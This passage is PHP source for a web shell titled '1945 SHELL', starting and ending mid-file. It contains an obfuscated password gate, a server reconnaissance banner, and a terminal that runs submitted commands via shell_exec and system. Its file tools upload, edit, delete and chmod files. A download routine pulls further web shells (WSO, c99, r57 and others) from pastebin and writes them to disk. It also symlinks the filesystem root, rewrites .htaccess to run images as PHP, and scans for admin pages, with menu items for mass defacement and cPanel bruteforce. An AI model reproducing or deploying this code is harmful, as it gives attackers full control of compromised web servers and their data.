"\x20\x50\x6f\x72\x74\x20" . $_SERVER["\x53\105\x52\x56\x45\x52\x5f\120\x4f\x52\124"] . "\x3c\57\x61\144\144\162\x65\163\x73\76\x3c\x63\145\156\x74\x65\x72\x3e\x3c\x66\157\162\155\40\155\145\164\150\x6f\144\x3d\47\x70\x6f\x73\x74\x27\x3e\74\x69\x6e\160\x75\x74\x20\164\171\x70\145\75\x27\160\141\163\163\167\x6f\x72\144\x27\40\156\141\155\x65\75\x27" . $_SESSION["\x6b\145\171\170\x78"] . "\47\x20\x61\165\x74\157\143\x6f\x6d\160\x6c\145\x74\x65\75\47\157\146\146\x27\76\x3c\x62\162\x3e\74\57\146\157\162\155\76\x3c\x2f\143\145\x6e\164\x65\x72\x3e\74\57\x62\x6f\144\x79\76\x3c\57\150\x74\155\x6c\x3e"; die; } $auth_pass5 = "\x65\x39\x34\x38\x64\x61\x62\x64\x35\x65\x36\x37\x38\x37\x37\x34\x32\x62\x62\x36\x39\x38\x32\x38\x33\x31\x31\x64\x65\x34\x34\x63\x37\x64\x35\x36\x30\x35\x35\x37"; if (empty($_SESSION["\x6b\x65\171\170\x78"])) { $keyxxx = generateRandomStringx(); $_SESSION["\x6b\x65\x79\x78\x78"] = $keyxxx; } $keyxx = $_SESSION["\153\x65\171\x78\x78"]; if (empty($_SESSION[sha1(md5($_SERVER["\x48\124\124\120\137\x48\117\x53\x54"])) . $keyxx])) { if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { $_SESSION[sha1(md5($_SERVER["\110\x54\x54\120\137\110\x4f\x53\x54"])) . $keyxx] = true; } else { License(); die; } } $alert="<script>\nwindow.location.href='?45=".$_GET['act']."';\n</script>";@define('judul','freedom is real - 1945');@define('icons','http://www.animatedimages.org/data/media/781/animated-indonesia-flag-image-0013.gif');@define('icon_folder','<img src="data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=">');@define('icon_file','<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">');if(!isset($_SESSION['fz'])){$fz="13";}else{$fz=$_SESSION['fz'];}if(!isset($_SESSION['bg'])){$bg="#000000";}else{$bg=$_SESSION['bg'];}if(!isset($_SESSION['col'])){$col="#FF0000";}else{$col=$_SESSION['col'];}if(!isset($_SESSION['pcol'])){$pcol="";}else{$pcol=$_SESSION['pcol'];}if(isset($_SESSION['responsive'])){$resmod='<a href="?act='.$_GET['45'].'&mobile_off='.$_GET['45'].'">[ON]</a>';}else{$resmod='<a href="?act='.$_GET['45'].'&mobile='.$_GET['45'].'">[OFF]</a>';}if(isset($_POST['submitfz'])){$_SESSION['fz']=$_POST['fz'];echo"<meta http-equiv='refresh' content='0;URL=?font-size=".$_SESSION['fz']."'>";}if(isset($_POST['submitbg'])){$_SESSION['bg']=$_POST['bgcolor'];echo"<meta http-equiv='refresh' content='0;URL=?bgcolor=".$_SESSION['bg']."'>";}if(isset($_POST['submitcol'])){$_SESSION['col']=$_POST['color'];echo"<meta http-equiv='refresh' content='0;URL=?font-color=".$_SESSION['col']."'>";}if(isset($_POST['submitpc'])){$_SESSION['pcol']=$_POST['pcolor'];echo"<meta http-equiv='refresh' content='0;URL=?public-font-color=".$_SESSION['pcol']."'>";} ?>
<!DOCTYPE html>
<html>
<head>
<title>.[ <?=judul?> ].</title>
<link rel="shortcut icon" href="<?=icons?>">
<?php if(isset($_SESSION['responsive'])){echo $_SESSION['responsive'];} ?>
</head>
<body>
<style type="text/css">
*{
font-size:<?=$fz?>;
color:<?=$pcol?>;
font-family:arial;
}
body{background:<?=$bg?>;color:<?=$col?>;}
a{color:#eee;text-decoration: none;}
a:hover{color:#f00;border-bottom: 1px solid #fff;}
input,option,select{color: #f00;border:1px solid #eee;background:transparent;}
textarea{width:80%;height: 500px;background: #000;color: #f00;border:1px solid #eee;}
textarea:hover,input:hover,option:hover,select:hover{border:1px solid #f00;color: #eee;}
table{border-collapse: collapse;}
.tbl_exp{width: 100%;border-collapse: collapse;border:0;font-size: 14px;margin-bottom: 100px;}
.hover:hover{background: #333;}
.hover{border-bottom: 1px solid grey;}
.header #right{text-align:right;float: right;}
.header #left{text-align: left;float: left;}
#viewimg{margin-top:150px;text-align: center;}
#thead{background: #f00;color: #fff;}
.code{border: 1px solid #fff;width: 80%;text-align: left;font-size: 13px;}
.header{width: 100%;}
</style>
<table class="header">
<tr><td>
<?php if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$sm=ini_get('safe_mode')?"<font color=lime> ON<?font>":"<font color=grey> OFF</font>";$mysql=function_exists('mysql_connect')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$url_fp=ini_get('url_fopen')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$curl=function_exists('curl_init')?"<font color=lime> ON</font>":"<font color=grey> OFF</font>";$df=ini_get('disable_functions')?substr(ini_get('disable_functions'),0,50).",etc...":"<font color=grey> NONE</font>";echo "\n<div id='left'>\n<pre style='font-size:13px;'>\nSERVER SOFTWARE : ".$_SERVER['SERVER_SOFTWARE']."\nUNAME : ".php_uname()."\nHOSTNAME : ".$_SERVER['HTTP_HOST']."\nIP SERVER : ".gethostbyname($_SERVER['HTTP_HOST'])." | YOUR IP : ".$_SERVER['REMOTE_ADDR']." \nUser: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")\nPHP version : ".phpversion()."-[<a href='?act=".getcwd()."&phpinfo=busuK_tampilanNya_kembali_aja'>PHPINFO</a>]\nCURL:".$curl."|safemode:".$sm."|URL FOPEN:".$url_fp."|MySQL:".$mysql."\nDISABLE FUNCTIONS :".$df."\ncurrent dir :";if(isset($_GET['45'])){$d=$_GET['45'];}else{if(isset($_GET['act'])){$d=$_GET['act'];}else{$d=getcwd();}}$d=str_replace('\\','/',$d);$path=explode('/',$d);foreach($path as $id=>$curdir){if($curdir==''&&$id==0){$a=true;echo '<a href="?45=/">/</a>';continue;}if($curdir=='')continue;echo '<a href="?45=';for($i=0;$i<=$id;$i++){echo"$path[$i]";if($i!=$id)echo "/";}echo '">'.$curdir.'</a>/';}$pwd=str_replace('\\','/',getcwd());(is_writable($d))?$stat="<font color=lime>WRITABLE</font>":$stat="<a style='color:grey' href='?act=".$_GET['45']."¬w=".$_GET['45']."'>NOT WRITABLE</a>"; ?>
~[<?php echo $stat; ?>][<a href="?45=<?php echo $pwd; ?>">home</a>][<a href="javascript:history.go(-1);">back</a>]
</div>
</td><td>
<div id='right'>
<center>
--<[<a href="?act=<?php echo $d; ?>&about=<?php echo $d; ?>">1945 SHELL</a>|<a href="?act=<?=$d?>&theme=<?=$d?>">THEMES</a>]--[
</center>
<br>
[<a href="?act=<?php echo $d; ?>&newfile=<?php echo $d; ?>">Newfile</a>]
[<a href="?act=<?php echo $d; ?>&mkdir=<?php echo $d; ?>">NewDir</a>]
[<a href="?act=<?php echo $d; ?>&shell=<?php echo $d; ?>">Shell</a>]
[<a href="?act=<?php echo $d; ?>&conf=<?php echo $d; ?>">config grab</a>]
[<a href="?act=<?php echo $d; ?>&admfind=<?php echo $d; ?>">Admin finder</a>]
<br>
[<a href="?act=<?php echo $d; ?>&upload=<?php echo $d; ?>">Upload</a>]
[<a href="?act=<?php echo $d; ?>&unzip=<?php echo $d; ?>">Unzip file</a>]
[<a href="?act=<?php echo $d; ?>&stringtools=<?php echo $d; ?>">String Tools</a>]
[<a href="?act=<?php echo $d; ?>&kuchiyose=<?php echo $d; ?>">Kuchiyose no jutsu</a>]
[<a href="?act=<?php echo $d; ?>©=<?php echo $d; ?>">Copy</a>]
<br>
[<a href="?act=<?php echo $d; ?>&ctools=<?php echo $d; ?>">Create tools</a>]
[<a href="?act=<?php echo $d; ?>&mail=<?php echo $d; ?>">Mail sender</a>]
[<a href="?act=<?php echo $d; ?>&massdeface=<?php echo $d; ?>">Mass deface</a>]
[<a href="?act=<?php echo $d; ?>&cpbrute=<?php echo $d; ?>">cPanel bruteforce</a>]
<br><br>
<form method="get">
Go to dir:<input type="text" name="45" value="<?php echo $d; ?>" style="width:250px">
<input type="submit" value=">>">
</form>
</div>
</td></tr></table>
<?php if(isset($_GET['act'])){$k=array('adminer'=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",'wso'=>"http://pastebin.com/raw/N0eh3Q7Y",'whmcs'=>"http://pastebin.com/raw/TjiXt4r1",'bejak'=>"http://pastebin.com/raw/sQJVES6y",'terminal'=>'http://pastebin.com/raw/2ADSfZYk','pastebin'=>'http://pastebin.com/raw/RCbhjsXJ','indoxploit_shell'=>'http://pastebin.com/raw/nC6pWh5a','andela'=>'http://pastebin.com/raw/0dkmjaWJ','injection'=>'http://pastebin.com/raw/znH7r6Jr','sbh'=>'http://pastebin.com/raw/SMDJVTF8','bh'=>'http://pastebin.com/raw/3L2ESWeu','jkt48'=>'http://pastebin.com/raw/TujADXPn','c99'=>'http://pastebin.com/raw/Ms0ptnpH','r57'=>'http://pastebin.com/raw/S9tzBgg3',);function kuchiyose($url,$isi){$fp=fopen($isi,"w");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_FILE,$fp);return curl_exec($ch);curl_close($ch);fclose($fp);ob_flush();flush();}if($_GET['kuchiyose']=='adminer'){if(file_exists('1945_adminer.php')){echo" done!! => <a href='1945_adminer.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['adminer'],'1945_adminer.php')){echo"done!! --> <a href='1945_adminer.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['notw']){if(chmod($_GET['notw'],0777)){echo"<script>\n\talert('chmod successfull..');\n\twindow.location.href='?45=".$_GET['notw'];}else{echo"\n\t<script>\n\talert('gagal CHMOD Directory :( ');\n\t</script>";}}elseif($_GET['kuchiyose']=='wso'){if(file_exists('1945_wso.php')){echo" done!! => <a href='1945_wso.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['wso'],'1945_wso.php')){echo"done!! --> <a href='1945_wso.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='whmcs'){if(file_exists('1945_whmcs.php')){echo" done!! => <a href='1945_whmcs.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['whmcs'],'1945_whmcs.php')){echo"done!! --> <a href='1945_whmcs.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bejak'){if(file_exists('1945_b374k.php')){echo" done!! => <a href='1945_b374k.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['bejak'],'1945_b374k.php')){echo"done!! --> <a href='1945_b374k.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bypass_shell'){$isi="\n Addhandler application/x-httpd-php .jpg";$fp=fopen('.htaccess','a+');if(fwrite($fp,$isi)){if(rename($_SERVER['SCRIPT_FILENAME'],"1945.jpg")){echo"\n\t\t\t<script>\n\t\t\talert('berhasil kakak!!');\n\t\t\twindow.location.href='1945.jpg'\n\t\t\t</script>";}}fclose($fp);}elseif($_GET['kuchiyose']=='terminal'){if(file_exists('1945_b374k.php')){echo" done!! => <a href='1945_terminal.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['terminal'],'1945_terminal.php')){echo"done!! --> <a href='1945_terminal.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='pastebin'){if(file_exists('1945_pastebin.php')){echo" done!! => <a href='1945_pastebin.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['pastebin'],'1945_pastebin.php')){echo"done!! --> <a href='1945_pastebin.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='indoxploit_shell'){if(file_exists('1945_indoXploit_shell.php')){echo" done!! => <a href='1945_indoXploit_shell.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['indoxploit_shell'],'1945_indoxploit_shell.php')){echo"done!! --> <a href='1945_indoxploit_shell.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='andela'){if(file_exists('1945_andela.php')){echo" done!! => <a href='1945_andela.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['andela'],'1945_andela.php')){echo"done!! --> <a href='1945_andela.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='injection'){if(file_exists('1945_1n73ction.php')){echo" done!! => <a href='1945_1n73ction.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['injection'],'1945_1n73ction.php')){echo"done!! --> <a href='1945_1n73ction.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='sbh'){if(file_exists('1945_sbh.php')){echo" done!! => <a href='1945_sbh.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['sbh'],'1945_sbh.php')){echo"done!! --> <a href='1945_sbh.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='bh'){if(file_exists('1945_bh.php')){echo" done!! => <a href='1945_bh.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['bh'],'1945_bh.php')){echo"done!! --> <a href='1945_bh.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='jkt48'){if(file_exists('1945_jkt48.php')){echo" done!! => <a href='1945_jkt48.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['jkt48'],'1945_jkt48.php')){echo"done!! --> <a href='1945_jkt48.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='c99'){if(file_exists('1945_c99.php')){echo" done!! => <a href='1945_c99.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['c99'],'1945_c99.php')){echo"done!! --> <a href='1945_c99.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='r57'){if(file_exists('1945_r57.php')){echo" done!! => <a href='1945_r57.php' target='_blank'>click here</a>";}else{if(kuchiyose($k['r57'],'1945_r57.php')){echo"done!! --> <a href='1945_r57.php' target='_blank'>click here..</a>";}else{echo" failed!! check your connection!";}}}elseif($_GET['kuchiyose']=='root'){system('ln -s / 1945~.txt');$fvckem='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';$file=fopen(".htaccess","w+");$write=fwrite($file,base64_decode($fvckem));$Mauritania=symlink("/","1945~.txt");$rt="<br><a href='1945~.txt' TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>\nberhasil kakak! touch me senpai..</b></font></a></center>";echo "<center><br><br><b>Done.. !</b><br>".$rt;echo "</form>";}elseif(isset($_GET['rmdir'])){function rmdir_unlink_rmdir($d){if(!rmdir($d)){$s=scandir($d);foreach($s as $ss){if(is_file($d."/".$ss)){if(unlink($d."/".$ss)){rmdir($d);}}if(is_dir($d."/".$ss)){rmdir($d."/".$ss);rmdir($d);}}}}if(rmdir_unlink_rmdir($_GET['rmdir'])){echo $alert;}else{echo $alert;}}elseif(isset($_GET['rm'])){$rm=$_GET['rm'];if(unlink($rm)){echo $alert;}}elseif(isset($_GET['rename'])){echo"\n\t<br><br><br><br>\n\t<center>\n\t<form method='post' >\n\t<p>Old name : ".basename($_GET['rename'])."</p>\n\tNewName :\n\t<input type='text' name='newname' value='".$_GET['rename']."'><input type='submit' value='>>'>\n\t</form>";if(isset($_POST['newname'])){$oldname=$_GET['rename'];$newname=$_POST['newname'];if(rename($oldname,$newname)){echo $alert;}}}elseif(isset($_GET['edit'])){echo"\n\t<center>\n\t<form method='post' >\n\t<textarea name='edit'>".htmlspecialchars(file_get_contents($_GET['edit']))."</textarea>\n\t<br>\n\t<input type='text' name='editdir' value='".$_GET['edit']."' style='width:350px'><input type='submit' name='editsave' value='save' >\n\t</form>";if(isset($_POST['editsave'])){$fp=fopen($_POST['editdir'],'w');if(fwrite($fp,$_POST['edit'])){echo"<br> saved@".date('D M Y');}fclose($fp);}}elseif(isset($_GET['chmod'])){echo"<center>\n\t<h3>: change permission files :</h3>\n\t<form method='post' >\n\tPermission :\n\t<input type='text' name='perms' value='".fileperms($_GET['chmod'])."'><input type='submit' value='>>'>\n\t</form>";if(isset($_POST['perms'])){if(chmod($_GET['chmod'],$_POST['perms'])){echo'Permission changed! <a href="javascript:history.go(-1)">back</a>';}}}elseif(isset($_GET['src'])){echo'
<table>
<tr><td>[<a href="?act='.$_GET['act'].'&edit='.$_GET['src'].'">edit</a>]</td><td>
[<a href="?act='.$_GET['act'].'&rm='.$_GET['src'].'">delete</a>]</td><td>
[<a href="?act='.$_GET['act'].'&rename='.$_GET['src'].'">rename</a>]</td><td>
[<a href="?act='.$_GET['act'].'&chmod='.$_GET['src'].'">chmod</a>]</td><td>
[<a href="?act='.$_GET['act'].'&download='.$_GET['src'].'">download</a>]</td></tr></table>
<center>
<h3>: View file :</h3>
<p>Current file: <font color=white>'.$_GET['src'].'</font></p>
';$src=$_GET['src'];$get_basename=basename($src);$a=preg_match('/.jpg/',$get_basename);$b=preg_match('/.png/',$get_basename);$c=preg_match('/.gif/',$get_basename);$cwd=str_replace('\\','/',getcwd());$plc=str_replace($cwd,'',$src);if($c||$b||$a){echo"\n\t\t<br>\n\t<center>\n\t\t<img src='".$plc."' id='viewimg' />";}else{$f=$_GET['src'];$file=wordwrap(file_get_contents($f),160,"\n",true);$a=highlight_string($file,true);$old=array("0000BB","000000","FF8000","DD0000","007700");$new=array("81FF00","e1e1e1","333333","ffffff","FF8000");$a=str_ireplace($old,$new,$a);$result=$a;echo'
<pre class="code">'.$result.'</pre>';}}elseif(isset($_GET['upload'])){if(isset($_POST['upfile'])){$files=array('1'=>$_FILES['files']['name'],'2'=>$_FILES['files2']['name'],'3'=>$_FILES['files3']['name'],'4'=>$_FILES['files4']['name'],'5'=>$_FILES['files5']['name']);$tmp=array('1'=>$_FILES['files']['tmp_name'],'2'=>$_FILES['files2']['tmp_name'],'3'=>$_FILES['files3']['tmp_name'],'4'=>$_FILES['files4']['tmp_name'],'5'=>$_FILES['files5']['tmp_name']);$dir=array('1'=>$_POST['dir']."/",'2'=>$_POST['dir2']."/",'3'=>$_POST['dir3']."/",'4'=>$_POST['dir4']."/",'5'=>$_POST['dir5']."/");if(move_uploaded_file($tmp['1'],$dir['1'].$files['1'])){echo"<br>uploaded -->".$dir['1'].$files['1'];}if(move_uploaded_file($tmp['2'],$dir['2'].$files['2'])){echo"<br> uploaded --> ".$dir['2'].$files['2'];}if(move_uploaded_file($tmp['3'],$dir['3'].$files['3'])){echo"<br>uploaded --> ".$dir['3'].$files['3'];}if(move_uploaded_file($tmp['4'],$dir['4'].$files['4'])){echo"<br>uploaded --> ".$dir['4'].$files['5'];}if(move_uploaded_file($tmp['5'],$dir['5'].$files['5'])){echo"<br>uploaded --> ".$dir['5'].$files['5'];}echo"<br>\n\t<font color=white>Success... berhasil dengan tamvanz :)</font>";}if(is_writable($_GET['upload'])){$stat='<font color="lime">Writable(bisa)</font>';}else{$stat='<font color="grey">Not Writable(gak bisa)</font>';} ?>
<center>
<h3>: MultiUpload Files :</h3>
<p> status upload file : <?php echo $stat; ?></p>
<font color=white>NB : kosongkan jika tidak perlu </font>
<table border=1><tr><td>file</td><td>Target Dir</td></tr>
<tr><td>
<form method="Post" enctype="multipart/form-data">
<input type="file" name="files" ></td><td>
<input type="text" name="dir" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files2" ></td><td>
<input type="text" name="dir2" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files3" ></td><td>
<input type="text" name="dir3" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files4" ></td><td>
<input type="text" name="dir4" value="<?php echo $_GET['upload']; ?>" >
</td></tr><tr><td>
<input type="file" name="files5"></td><td>
<input type="text" name="dir5" value="<?php echo $_GET['upload']; ?>">
</td></tr></table>
<br>
<input type="submit" name="upfile" class="btn btn-primary" value="upload all">
</form>
</center>
<?php }elseif(isset($_GET['mkdir'])){echo'
<center>
<h3>: New Directory :</h3>
<form method="post">
newdir:<input type="text" name="mkdir" value="'.$_GET['mkdir'].'/newdir" style="width:200px;">
<input type="submit" value=">>">
</form>';if(isset($_POST['mkdir'])){if(mkdir($_POST['mkdir'])){echo $alert;}}}elseif(isset($_GET['newfile'])){echo'
<center>
<h3>: Newfile :</h3>
<form method="post">
<textarea name="newfile"> </textarea>
<br>
save :<input type="text" name="saveas" value="'.$_GET['newfile'].'/new.php" style="width:60%">
<input type="submit" value=">>" name="subfile">
</form><br><br><br>';if(isset($_POST['subfile'])){$fp=fopen($_POST['saveas'],'w');if(fwrite($fp,$_POST['newfile'])){echo $alert;}fclose($fp);}}elseif(isset($_GET['shell'])){echo'
<center>
<fieldset style="border-collapse:collapse;height:500px;">
<legend>Terminal</legend>
<form method="post">
<div style="float:left;text-align:left">
'.$user.'@<font color=white>'.$_SERVER['HTTP_HOST'].'</font><font color=lime> '.$_GET['shell'].'</font> #:<input type="text" name="command" style="border:0;width:400px;max-width:relative;">
</div>
</form>';if(isset($_POST['command'])){if(function_exists('shell_exec')){$cmd=shell_exec($_POST['command']);}else{if(function_exists('exec')){$cmd=exec($_POST['command']);}else{if(function_exists('system'));$cmd=system($_POST['command']);}}echo'
<br>
<textarea style="color:lime;text-align:left;width:100%;height:90%;border:0;resize:none;" readonly>
'.$cmd.'</textarea></fieldset>';}}elseif(isset($_GET['admfind'])){ ?>
<center>
<h3>: admin finder :</h3>
<form method="POST" action="">
site :
<input type="text" name="url" style="width:260px" value="http://"/>
<input type="submit" name="submit" value="find[!]" />
</p>
<br>
<br>
<?php function xss_protect($data,$strip_tags=false,$allowed_tags=""){if($strip_tags){$data=strip_tags($data,$allowed_tags."<b>");}if(stripos($data,"script")!==false){$result=str_replace("script","scr<b></b>ipt",htmlentities($data,ENT_QUOTES));}else{$result=htmlentities($data,ENT_QUOTES);}return $result;}function urlExist($url){$handle=curl_init($url);if(false===$handle){return false;}curl_setopt($handle,CURLOPT_HEADER,false);curl_setopt($handle,CURLOPT_FAILONERROR,true);curl_setopt($handle,CURLOPT_HTTPHEADER,Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15"));curl_setopt($handle,CURLOPT_NOBODY,true);curl_setopt($handle,CURLOPT_RETURNTRANSFER,false);$connectable=curl_exec($handle);curl_close($handle);return $connectable;}if(isset($_POST['submit'])&&isset($_POST['url'])){$url=htmlentities(xss_protect($_POST['url']));if(filter_var($url,FILTER_VALIDATE_URL)){$trying=array(':2082',':2083','a_admins/','admin/','adminweb/','po-admin','index.php?q=admin','administrator/','admin/admin.php','cpanel','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin.asp','admin/admin.asp','admin_area/admin.asp','admin_area/login.asp','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','user.asp','webadmin/index.asp','webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp','admin/adminLogin.asp','home.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2/login.asp','admin2/index.asp','adm/index.asp','adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp');foreach($trying as $sec){$urll=$url.'/'.$sec;if(urlExist($urll)){echo '<p align="center"><font color="00FF00">[+] FOUND!! --> <a href="'.$urll.'" target="_blank">'.$urll.'</a></font></p>';exit;}else{echo '<p align="center"><font color="#eee">[-] NOT FOUND --> '.$urll.'</font></p>';}}echo 'Could not find admin page.[!]';}else{echo '<p>Invalid URL entered.[!]</p>';}}}elseif(isset($_GET['massdeface'])){echo'<center>
<h3> : Mass deface :</h3>
